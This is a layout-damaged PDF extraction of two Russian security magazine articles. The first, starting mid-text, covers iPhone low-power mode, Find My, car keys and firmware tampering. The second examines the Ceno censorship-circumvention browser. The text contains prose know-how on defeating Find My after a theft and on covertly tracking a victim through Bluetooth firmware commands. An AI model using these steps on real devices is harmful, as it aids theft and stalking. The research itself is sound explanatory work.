|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
шлет широковеща |
тель |
ные |
|
BLE-оповеще |
ния . Подклю чен ные |
к сети устрой |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ства, расположен |
ные |
|
поблизос |
ти , ловят такие оповеще |
ния |
|
|
и |
сообщают |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
законному |
владель |
цу , где находится его «потеряшка ». |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Протокол |
Find My защищен сквозным |
шифровани |
ем , анонимен |
и работает |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
с сохранени |
ем конфиден |
циаль |
нос ти . Эти гарантии безопасности |
основаны |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
на девайс специфич |
ном |
|
«маячковом |
» мастер ключе , который синхро низи |
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
руется с цепочкой ключей из пользователь |
ско го iCloud. Поэтому доступ сох |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
раняется |
до тех пор, пока пользователь |
в состоянии |
залогинить |
ся в iCloud. |
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Цепоч ка ключей также хранит ся локально , а для доступа |
|
к ее секретно |
му |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ключу требует |
ся пройти полный |
путь через SEP. На мастер ключе маячка |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
генерирует |
ся |
|
|
оборачи |
вающаяся |
|
последова |
тель |
ность |
|
пар, |
|
|
|
|
в |
|
|
каждую |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
из которых входит открытый и закрытый |
ключ. Эта последова |
тель |
ность |
зафик |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
сирована навечно , и каждый |
|
|
ключ действи |
телен |
только в свой промежу |
ток |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
времени |
. Чтобы связать |
|
открытые |
|
ключи в этой последова |
тель |
нос ти друг |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
с другом , требует |
ся знать маячковый |
мастер ключ. Устройство |
широковеща |
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
тельно сообщает |
актуаль ный |
публичный |
|
ключ в виде BLE-объявле |
ния , а часть |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
этого ключа также устанав лива |
ет MAC-адрес случай ным |
|
|
образом . Любое |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
устройство |
, подклю чен ное к интернету и наблюда |
ющее |
BLE-объявле |
ние сети |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Find My, может зашифровать |
|
свое нынешнее |
пример |
ное |
местонахож |
дение |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
открытым |
|
ключом |
|
|
|
и |
сообщить |
|
|
его Apple. Только у законного |
|
|
владель |
ца |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
потерянного |
|
устройства |
, которое пока находится офлайн, имеется |
|
под |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ходящий |
|
закрытый |
ключ, чтобы расшифро |
вать |
|
отчет о местополо |
жении |
. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
По отчету о местополо |
жении |
|
невозможно |
|
идентифици |
ровать |
|
сообщивше |
го . |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Цепочка открытых ключей на iPhone полностью |
проматы |
вает |
ся за 15 мин, что |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ограничи |
вает |
возможность |
отследить |
|
смартфон |
по его BLE-объявле |
ниям |
. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Метки AirTag функци ональ |
но подобны сети Find My. Потеряв соединение |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
по Bluetooth с iPhone владель |
ца , они начинают рассылать |
широковеща |
тель |
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ные сообщения |
, которые принима |
ются |
|
другими |
|
подклю чен ными |
|
к |
сети |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
устройства |
ми . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
Работа |
|
|
|
|
сети |
|
|
|
Find |
|
|
My |
|
поддержи |
вает |
ся |
|
после |
|
|
отключения |
питания, |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
и информация |
|
об этом выводится в диалоговом |
окне завершения |
|
работы. |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Пользователь |
|
может изменить |
эту настрой |
ку всякий |
раз, когда выключа |
ет |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
устройство |
|
|
вручную . Если на iPhone полностью |
израсходует |
ся батарея и он |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
перейдет на резервный |
|
|
источник питания, сеть Find My активиру |
ется |
|
авто |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
матичес ки , подобно экспресс |
картам |
на NFC-чипе. Для поддер жки |
режима |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
LPM требует |
ся прошив ка Bluetooth, которая может рассылать |
|
BLE-сооб |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
щения, когда iOS отключит ся . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Диало говое окно завершения для сети Find My на iOS 15
Чипы Broadcom Bluetooth могут конфигури роваться либо для взаимо действия с хостом , например iOS, либо для работы в качестве автоном ных приложе ний, например на IoT-устройствах . При переходе в режим LPM работа стека iOS Bluetooth завершает ся и настрой ки чипа Bluetooth сбрасыва ются. Затем множес тво команд интерфейса хост контрол лера конфигури руют параметры сети Find My. Последняя команда отключает HCI, тем самым останав ливая всякую коммуника цию с iOS. Прошив ка запускает автоном ный поток широко вещатель ных сообщений Find My. Модулю управления питанием (PMU) рекомендует ся держать чип Bluetooth включен ным, несмотря на отключение
iOS.
Коман ды конфигура ции HCI для сети Find My позволя ют задавать множес твенные открытые ключи в расчете на краткий и долгий интервал ротации. Длитель ность интервала и общее количество ключей — переменные параметры . В iOS 15.3 устанав ливается 96 ключей на короткий интервал (15 мин) и 0 ключей на долгий интервал (24 ч). Следова тельно, автоном ное приложе ние, работающее по Bluetooth, может отправлять широковеща тель ные сообщения Find My в течение не более 24 ч.
«АВТОМОБИЛЬНЫЕ» КЛЮЧИ DCK 3.0
Наряду с NFC-картами iOS также поддержи вает «автомобиль ные» ключи (Digital Car Key, DCK 3.0). Их используют службы каршерин га, а также при ложения , позволя ющие управлять с телефона современ ными «цифровыми » автомоби лями — дистанци онно запускать двигатель , включать режим охраны , открывать со смартфо на двери и багажник , задейство вать иммобилай зер. Еще DCK позволя ет устанав ливать скорос тной лимит для молодых водителей , а также совмес тно использовать такой ключ через iCloud.
Несмотря на удобство DCK с точки зрения пользовате ля , эта технология привносит новые векторы атак. Со стороны реализации основные риски несут автопроизво дите ли . Скомпро мети рован ный DCK или изъяны в его реализации могут быть использованы для угона машины, но не для кражи iPhone. Угон реальной машины — это не цифровой платеж , его не отменишь . Такие риски и побудили автопроизво дите лей перейти с DCK 2.0 (основан ных на NFC) на DCK 3.0.
Аббре виатура NFC (коммуника ция ближнего поля) подска зывает, что успешные транзакции могут проходить только между двумя устройства ми, находящими ся рядом, NFC и другие сравнитель но старые технологии
для автомобиль ных ключей подверже ны эстафет ным атакам . При эстафет ных атаках сигналы предают ся на большие рассто яния , чем задумано . Это серь езная угроза , посколь ку эстафет ная атака открывает доступ к машине, когда ее владель ца поблизос ти нет. Короткие дистанции можно преодо леть , уси ливая имеющий ся сигнал . На длинных дистанци ях сигнал требует ся декоди ровать в пакеты и уже их переадре совы вать с устройства на устройство . Пер вый практичный и недорогой инстру мент для эстафет ных атак на основе NFC был описан в 2011 году, и до сих пор поддержи вают ся аналогич ные инстру менты , рассчи тан ные на новейшие NFC-технологии .
Тогда как специфи кация DCK 2.0 основана на NFC, в DCK 3.0 добавлен контроль безопасного рассто яния (secure ranging) на основе UWB. Хотя UWB и рекламиро валась как технология , поддержи вающая контроль безопасного рассто яния, ее фундамен тальные измеритель ные параметры неидеальны . На практике уже продемонс трированы дешевые атаки по сокращению рас стояния , направлен ные на UWB-чип Apple (на дистанции до 12 м).
Протокол DCK 3.0 использует как BLE, так и UWB. BLE обеспечива ет пер вичное соединение и аутентифика цию . Затем UWB применя ется для точеч ного измерения рассто яния (fne ranging) с защитой симметрич ным ключом , но без передачи данных . Следова тель но , как BLE, так и UWB требуют доступа
к секретно му ключу . Специфи кация DCK 3.0, пошагово описыва ющая работу протоко лов BLE и UWB, доступна исключитель но членам Car Connectivity Consortium.
Apple стала использовать аппарат ные компонен ты для DCK 3.0 с версии iPhone 11. На айфонах с поддер жкой DCK 3.0 безопасная среда (SE) жестко вшита в чипы Bluetooth и UWB. Следова тель но , аналогич но использующим SE NFC-транзакци ям , генерируемые SE отклики передаются непосредс твен но
в эфир, без совмес тного использования в iOS. Модели айфонов , оборудо ванные чипами Bluetooth и UWB с поддер жкой низкого энергопот ребления (LPM), перечислены в следующей таблице .
Беспро вод ные чипы, активно использующие поддер жку LPM
НЕДОСТАТКИ FIND MY PHONE
На уровне приложе ния исследова тели исходили из того, что злоумыш ленник не манипулиро вал прошив кой или ПО на iPhone. Напротив , атакующие пыта ются скомпро мети ровать или использовать возможнос ти LPM — например , отключить сеть Find My Phone для кражи iPhone или восполь зовать ся экс пресс картами для кражи денег.
На примере сети Find My Phone было обнаруже но, что телефон прекраща ет посылать широковеща тельные сообщения гораздо раньше , чем ожи далось, а во многих случаях не рассыла ет их вообще . При завершении работы по инициати ве пользовате ля система создает всего 96 таких сооб щений, которые рассыла ются с интервалом в 15 мин. Через 24 ч будут переданы все сообщения . Это не разъясня ется пользовате лю, который может подумать, будто его потерянный iPhone можно найти в течение многих дней. Кроме того, сеть Find My Phone можно выключить при отключении питания устройства , но для этого в iOS 15.3 и выше придет ся ввести пароль — таким образом Apple предус мотрела еще один инстру мент против кражи .
Запаро лен ное диалоговое окно, в котором можно отключить сеть Find My при отключении питания
Сеть Find My прекраща ет работу до первой разбло кировки айфона спус тя 24 ч. При выключении телефона сообщения , рассчи танные на сле дующие 24 ч, дополнитель но хранят ся на устройстве . Даже если сеть Find My будет отключена принуди тельно, сообщения все равно кешируются . Как толь ко iPhone загрузит ся, он восста новит токен Find My из хранили ща с энер гонезависи мой памятью (NVRAM), и этот токен сохраня ется от перезагрузки
к перезагрузке . Затем токен Find My использует ся для дешифровки кеширо ванных сообщений , предос тавляя доступ к ним демону Bluetooth перед пер вой разбло кировкой. По истечении 24 ч iPhone прекраща ет рассылать сооб щения. Это не зависит от предпри нятых ранее действий , iPhone мог уже находиться в режиме LPM или быть перезагружен напрямую . Посколь ку сооб щения жестко привяза ны к запланиро ванному периоду передачи , продлить этот период невозможно .
Если перед первой разбло киров кой у iPhone есть соединение с интерне том, то он подклю чит ся к серверам Apple и сообщит свое местополо жение . iPhone может оказать ся офлайн перед первой разбло киров кой по многим причинам . Ключи Wi-Fi доступны только после первой разбло киров ки , а сотовое соединение обрывает ся , если пользователь защитил SIM-карту пин кодом либо SIM-карта была извлечена . Следова тель но , вор может быть уверен , что через 24 ч функция Find My Phone будет неактивна , даже если он подклю чит iPhone к зарядному устройству , — достаточ но извлечь SIM-карту и включить телефон вне зоны действия открытых беспро вод ных сетей.
Даже когда в пользователь ском интерфейсе отобража ется сообщение , что функция Find My Phone активиро вана после отключения питания, иногда это не соответс твует действи тельности. Например , в Find My Phone может отказать генерация сообщений . Если при отключении устройства настрой ка Find My по какой то причине завершится ошибкой , никаких предуп реждений об этом пользователь не получит.
Иссле дова тели заметили и еще один забавный момент. Если при отклю чении питания iPhone по инициати ве пользовате ля подклю чить устройство
к электро сети через зарядку , а потом зарядку убрать, то через пару часов iPhone загрузит ся сам. Если при отключении кабель в iPhone не вставлен , то автомати ческой загрузки устройства не произой дет. По этой причине поль зователь через какое то время может обнаружить , что батарея его iPhone полностью опустошена , хотя он телефон не включал .
ВМЕШАТЕЛЬСТВО В ПРОШИВКУ
В современ ных моделях iPhone поддер жка LPM присутс твует в чипах ком муникации NFC, UWB и Bluetooth. Злоумыш леннику не требует ся менять поведение ядра, он может восполь зоваться имеющи мися драйверами , чтобы включить LPM на этих чипах, при этом модифициро вать приходит ся только прошив ку чипа. Чип NFC — единствен ный беспро водной чип на iPhone, обла дающий зашифрован ной и подписан ной прошив кой. Пусть даже и предпри нимались попытки обойти безопасный загрузчик , они были безуспешны . Чип UWB также предус матривает защищенную загрузку , но его прошив ка не зашифрована , только подписана . При этом прошив ка Bluetooth не зашиф рована и не подписана . Посколь ку у чипа Bluetooth не предус мотрена безопасная загрузка , в нем отсутству ет корневой доверенный сертификат , который позволил бы проверить загружа емую прошив ку.
Злоумыш ленни ки , не обладающие доступом к устройству на уровне сис темы, могут попытаться перехватить управление девайсом через чип с под держкой LPM. Ранее были выявлены различные уязвимос ти для серии Bluetooth-чипов, используемых в iPhone. Такие уязвимос ти также существу ют
и в других беспро водных чипах. В частнос ти, модуль Find My Phone рассыла ет сообщения по Bluetooth, но не получает данные . Однако экспресс режим для NFC, а также Bluetooth и UWB для DCK 3.0 допускают обмен данными .
Даже если бы вся прошив ка могла быть защищена от манипуляций , зло умышленник , обладающий доступом к устройству на уровне системы , все равно мог бы отправлять на его чипы собствен ные команды . Демон Bluetooth конфигури рует режим LPM для сети Find My Phone при выключении устрой ства, для этого используют ся вендор специфич ные команды HCI. Эти коман ды выполняют конфигури рова ние с очень высокой детализаци ей , в том числе позволя ют настра ивать интервалы ротации широковеща тель ных сообщений и их содержимое . При помощи этих команд злоумыш ленник мог бы, к при меру, установить публичный ключ в качестве содержимого каждого второго сообщения так, чтобы этот ключ подходил к аккаунту . После этого атакующий
смог бы найти устройство жертвы , а настоящий пользователь видел бы в сети Find My Phone недавнее местополо жение своего iPhone, которого там уже нет.
ЗАКЛЮЧЕНИЕ
Посколь ку поддер жка LPM основана на аппарат ной составля ющей iPhone, ее невозможно удалить при помощи системных обновлений . Соответс твен но , она оказыва ет долгосроч ное влияние на всю модель безопасности в iOS.
По видимому , дизайн возможнос тей LPM в основном строился исходя из практичес ких соображений , без учета угроз, возника ющих при выходе за пределы предус мотренных вариантов примене ния. Посколь ку сеть Find My Phone продол жает работать и после выключения iPhone, устройства по опре делению превраща ются в инстру мент для слежки , а реализация прошив ки Bluetooth не защищена от манипуляций . Свойства слежения могут быть незаметно изменены злоумыш ленником, заполучив шим доступ к устройству на уровне системы . Более того, современ ная поддер жка цифровых авто мобильных ключей требует сверхши рокой полосы передачи данных в LPM.
В настоящее время Bluetooth и UWB жестко зашиты в безопасную среду (SE), именно в них хранят ся автомобиль ные ключи и другие секреты . Учи тывая, что прошив ка Bluetooth поддает ся манипуляции , доступ к интерфейсам SE открывает ся и из iOS.
Даже притом , что во многих вариантах примене ния LPM повышается уро вень защищенности и безопасности , Apple следова ло бы добавить в iPhone аппарат ный переключатель , который разъеди нял бы устройство и батарею. Это улучшило бы ситуацию для лиц, особен но обеспоко енных конфиден циальностью данных и потенциаль но подвержен ных слежке , например для журналис тов.
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ПРИВАТНОСТЬ |
|||||
|
to |
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
g |
|
|
|
|||
|
|
|
|
n |
|
|
|
|
||
|
|
|
-x ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
КАК УСТРОЕН МОБИЛЬНЫЙ БРАУЗЕР ДЛЯ ОБХОДА ЦЕНЗУРЫ
Вопрос свобод ного доступа к блокиру емо му или подверга емому цензуре контенту остро стоит во многих странах . «Хакер» уже писал о том, как за свободу слова борется Tor Project. Сегодня мы поговорим об очень интерес ной альтер нативе для обхода цен зуры и блокиро вок — мобильном браузе ре
Ceno.
Валентин Холмогоров
Ведущий редактор "Хакера". valentin@holmogorov.ru
Еще со времен «гипертек стового векторно го Фидонета » человечес тво меч тало о децентра лизованной сети, предназна ченной для свобод ного обще ния. Хотя вру, конечно . Оно мечтало об этом всегда . Результатом подобных мечтаний стало , в частнос ти, появление технологий Tor и I2P. Но пытливый человечес кий разум не стоит на месте и со временем изобрета ет новые идеи: например , браузе ры, работающие через соединения peer-to-peer и потому не подвержен ные цензуре — по крайней мере, согласно задумке их разработ чиков. Одно из таких приложе ний для Android именно так и называ
ется — Censorship No, или, сокращен но, Ceno.
КАК УСТРОЕН СENO
Лежащий в основе Ceno принцип довольно прост. Устройства с установ ленным на них браузе ром образуют P2P-сеть, которая теоретичес ки позволя ет трансли ровать трафик за пределы цензуриру емой зоны и обходить таким образом блокиров ки и запреты . То есть каждое приложе ние может еще и выступать в роли бриджа для передачи данных другим устройствам с Ceno. Как только один пользователь получает доступ к подцензур ному или заб локирован ному контенту , этот контент кешируется и становит ся доступен дру гим узлам сети Ceno. Именно так это выглядит в теории.
В основе Ceno лежит Firefox для Android с библиоте кой Ouinet, которая обеспечива ет маршру тиза цию peer-to-peer и кеширование при просмотре веб страниц . Когда использующий Ouinet клиент отправляет запрос
на получение какой либо веб страницы , этот запрос трансли руется в одно ранговую сеть и страница ищется в распре деленном кеше сети, вернее в его индексе. Если искомый контент там не обнаружи вается, запрос перенап равляется доверенному узлу инжектору , который трансли рует его на спе циальный сервер . Тот получает страницу из интернета и сохраня ет ее в кеше. При следующем запросе этот документ будет загружен уже из Р2Р сети. Все это работает пример но как обычный торрент с одним отличием : юзер может получать контент без необходимос ти вылезать во внешний интернет.
Принцип работы P2P-сети с технологи ей Ouinet (иллюстра ция с сайта разработ чика )
Разработ чики утвержда ют , что этот подход позволит избавить ся от медленно го Tor и VPN, который в любой момент могут заблокиро вать , а заодно — сэкономить средства на трафике , особен но в роуминге , где он наиболее дорогой. Ну и конечно же, речь идет об организа ции доступа к контенту в сетях с ненадежным исходящим каналом (но мы то понимаем , что именно они имеют в виду).
Любопыт ный нюанс: сами разработ чики библиоте ки и браузе ра предуп реждают , что она не может служить в качестве полноцен ного инстру мен та для обеспечения аноним ности . Во первых , Ouinet передает другим участни кам одноран говой сети информацию о запросах пользовате ля , просматри ваемых им веб страницах и трансли руемом на другие узлы сети контенте . Во вторых , само устройство с Ouinet становит ся фактичес ки прозрачным прокси . Не очень безопасно , верно ?
Вместе с тем аноним ность и обход цензуры — это принципи ально разные категории . Создатели Ceno говорят как раз о второй . Браузер позволя ет получать доступ к контенту в условиях блокиро вок, ограниче ний, агрессивной фильтра ции трафика или даже если полностью перекрыт доступ к внешнему интернету и одновремен но внутри страны создан националь ный интранет . Именно так дела обстоят в КНР и Северной Корее, весьма близок к ней Иран… В общем, не будем продол жать этот список . Разработ чик библиоте ки и браузе ра — компания eQualitie гордо заявляет на своем сайте , что прог рамма была создана с целью поддер жки статей 18, 19 и 20 Всеобщей дек ларации прав человека , среди которых перечислены права на свободу мысли , совести и убеждений .
БРАУЗЕР
С точки зрения пользователь ско го интерфейса Ceno представ ляет собой обычный мобильный Firefox, все «нецензурные » функции спрятаны у него под капотом. Для трансля ции запросов использует ся протокол HTTP, для передачи контента — BitTorrent µTP. Шифрование обеспечива ется с при менением TLS, для провер ки подлиннос ти трансли руемых данных задейство ваны цифровые подписи EdDSA в версии Ed25519. При необходимос ти Ouinet может использовать вместо µTP транспорт Tor, если в сети пользовате ля бло кируются торрент протоко лы .
Все это вместе приводит к тому, что Ceno генерирует значитель но больше трафика по сравнению с другими мобильными браузе рами — ведь ему необ ходимо направлять запросы сразу на множес тво узлов сети и проксировать трафик , чтобы передать контент другим пользовате лям. Поэтому подразуме вается , что браузер будут использовать в сетях с хорошим качеством связи или нелимитиро ванным трафиком , в которых нет проблем со связью внутри страны , но имеются сложности с выходом во внешний интернет.
|
Сущес тву ющая |
версия |
Ceno |
работает только |
||||
|
на устройствах |
с процес сорами |
ARM. Если ты |
|||||
|
используешь |
Android на планшете |
с архитек турой |
|||||
|
x86 или пытаешь ся запустить |
Ceno в эмулято |
ре |
|||||
|
без виртуали |
зации |
железа, ничего не получится . |
А ЧТО ПОД КАПОТОМ?
Когда пользователь с установ ленным на его Android-устройстве Ceno зап рашивает какую либо веб страницу в интернете , браузер пытается получить к ней доступ по URL напрямую . Если сделать этого не удается , например зап рос к целевому сайту блокиру ется , Ceno перенаправля ет его в распре делен ный индекс P2P-сети. В этом индексе хранят ся записи о том, на каком узле сети имеется сохранен ная копия целевой страницы . Индекс постро ен с использовани ем распре делен ных хеш таблиц DHT (distributed hash table) — таких же, которые применя ются для маршру тиза ции в обычных торрент сетях. Если искомый контент обнаружи вает ся на каком либо устройстве , отправив ший запрос клиент получает пару «IP-адрес:порт» этого девайса . URL в таб лице индекса хранят ся в виде хешей, для получения которых использует ся специаль ная криптогра фичес кая хеш функция . Но что делать, если нужного контента в Р2Р сети нет?
В этом случае клиент обращает ся к так называемым инжекторам . Инжектор — это не деталь в автомоби ле, а специаль ный прозрачный прок си сервер , который находится за предела ми цензуриру емого участка сети и старает ся оставать ся доступным для клиентов Ceno. Трафик между инжектором и клиентом шифрует ся с использовани ем SSL/TLS, чтобы никто не мог идентифици ровать инжекторы , прослушивая трафик . А чтобы какой нибудь злодей не выдал себя за инжектор, передаваемый контент под писывается цифровой подписью EdDSA.
Если один из инжекторов вдруг «умрет» или будет заблокиро ван — не беда, в сети их много . Разработ чики Ceno используют для этого термин «рой инжекторов ». Их адреса также хранят ся в распре делен ных хеш таб лицах, и клиент получает их по запросу .
Если же клиенту не удастся достучать ся ни до одного инжектора , он попытается передать запрос и получить требуемый контент через другие узлы сети, для которых инжекторы еще доступны . В этом случае транзитные узлы играют роль мостов , или бриджей , а между клиентом и инжектором формиру ется туннель через промежу точный узел. А посколь ку трафик «клиент — инжектор» шифрует ся, бридж не видит, какую именно информацию он передает .
Переда ча данных в сети Ceno (иллюстра ция с сайта разработ чика )
Перед тем как трансли ровать контент в P2P-сеть, инжектор подписыва ет его своей цифровой подписью . После этого каждый клиент сам может стать прокси сервером и делиться данными из собствен ного кеша с другими учас тниками сети — валидная подпись инжектора гарантиру ет, что этот контент действи тельно получен из внешнего интернета , а не подделан на внутреннем узле. Инжекторы используют пару открытого и закрытого ключей для соз дания подписей Ed25519, открытые ключи достаточ но малы, чтобы их можно
было отправлять вместе с подписями , и представ лены в виде 64 шестнад цатеричных символов или 52 символов в Base32. Разные инжекторы исполь зуют разные ключи , поэтому пользователь может выбирать, каким из них он доверяет , а каким — нет. Скажем , если инжектор находится в той же стране , где живет пользователь , но при этом не подвержен цензуре , велик риск, что такой инжектор контро лируется спецслуж бами. По умолчанию доверенными считают ся только инжекторы , управляемые компани ей eQualitie — разработ чиком браузе ра, но эту настрой ку можно изменить .
Получив запрошен ную веб страницу , клиент , во первых , отобража ет ее в браузе ре Ceno, во вторых , сохраня ет копию в локальном кеше, а в третьих , вносит в распре делен ные хеш таблицы DHT запись о том, что он располага ет этой самой копией . Время хранения контента в кеше пользователь может настро ить самостоятель но — по умолчанию он содержится там до тех пор, пока страница не будет замещена более актуаль ной копией либо пока кеш не будет очищен .
Если доступ к внешнему интернету пропал полностью , например работает на полную катушку националь ный файрвол , контент сможет распростра няться только внутри сети Ceno. При этом, если один клиент получит копию какой либо веб страницы или видеофай ла от другого клиента , он сам начинает раздавать этот файл в сеть. Таким образом , контент остается дос тупен, даже если первый узел, на который он был загружен из интернета , арестован отключил ся или перестал отвечать на запросы . Аналогич но тор рентам, клиенты Ceno могут тянуть файлы сразу из несколь ких источников небольшими порциями , что снижает трафик и повышает доступность кон тента. Так в общих чертах это работает .
ПРОБЛЕМЫ БЕЗОПАСНОСТИ
Как уже упомина лось, связка Ceno + Ouinet обеспечива ет доступность кон тента, когда подклю чение к интернету ограничи вают, но отнюдь не аноним ность. При большом желании можно отследить и самих пользовате лей в сети Ceno, и просмотреть , чем они делятся с окружающи ми, посколь ку шифрует ся трафик только на участке «клиент — инжектор», а на канале «клиент — клиент » шифрование не использует ся. Это открывает широкие возможнос ти для про ведения атак типа MITM.
Из таблиц маршру тиза ции Ceno можно получить IP-адреса зарегистри рованных в сети устройств , а значит , об аноним ности тут нет и речи. А пос кольку девайс с установ ленным Ceno не только получает , но и раздает кон тент, его владель ца вполне можно привлечь за распростра нение запрещен ной информации . Законодатель ство некоторых стран это вполне допускает .
Для обхода столь щепетильного момента браузер Ceno имеет так называ емый режим приват ного просмотра . В этом режиме запросы к индексу DHТ не отправляют ся, а контент не кешируется . Вместо этого браузер просто использует инжекторы в качестве прозрачно го прокси . При этом инжектор видит IP-адрес отправив шего ему запрос хоста , но не может определить , конечный это клиент сети или бридж.
К надежности всей системы тоже есть некоторые вопросы . Посколь ку IPадреса всех инжекторов в рое нетрудно получить из индекса, их теоретичес ки можно заблокиро вать или заддосить . Также очевид но , что в публичном режиме просмотра невозможно получить доступ к контенту , требующе му авториза ции , посколь ку перед отправкой запроса инжектору из него сначала удаляют ся логины и пароли, после чего он шифрует ся , а при возвра те данных клиенту инжектор удаляет оттуда куки. Делается это для того, чтобы приват ные данные не утекли в Р2Р сеть. Таким образом , просмотр какого либо лич ного контента , вроде своей странич ки в заблокиро ван ной соцсети , возможен только в приват ном режиме.
Есть и еще один нюанс, не совсем очевид ный, но вместе с тем немало важный . Все доверенные инжекторы в сети Ceno принад лежат компании eQualitie. Можно ли поручить передачу своей информации и собствен ную безопасность коммерчес кой организа ции, которая разработа ла и бесплат но распростра няет библиоте ку Ouinet, мобильный браузер и источники финан сирования которой неизвес тны? Это очень непростой вопрос .
ЛИЧНЫЙ ОПЫТ
Установить Ceno Browser можно из Google Play. В целом мои ожидания под твердились : внешне это вполне обычный Firefox для Android со стандар тны ми элемен тами управления . Серфинг проходит тоже вполне традици онно , разве что страницы загружа ются чуть медленнее , чем в обычном мобильном бра узере , но все же вполне шустро . При работе с Ceno я обратил внимание
на то, что в публичном режиме некоторые новостные сайты содержат не самую актуаль ную информацию в ленте , посколь ку подгру жаются из кеша. А вот в режиме приват ного просмотра эта проблема исчезла, зато время заг рузки контента ощутимо возросло .
